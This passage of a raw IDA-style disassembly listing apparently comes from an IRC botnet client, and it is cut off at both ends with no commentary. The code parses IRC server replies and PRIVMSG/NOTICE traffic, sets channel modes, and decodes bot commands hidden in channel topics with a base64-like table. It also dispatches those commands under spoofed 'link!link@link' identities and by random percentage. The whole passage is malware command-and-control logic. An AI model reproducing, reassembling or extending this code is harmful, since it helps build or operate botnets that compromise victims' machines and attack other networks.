short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED48 push offset dword_41DAB4 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE48 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE48 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE48 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E9AC, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E9AC, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA5C[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA5C[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: sub_4167F1+2C9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: sub_4167F1+E4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E9B0[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E9B0[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: 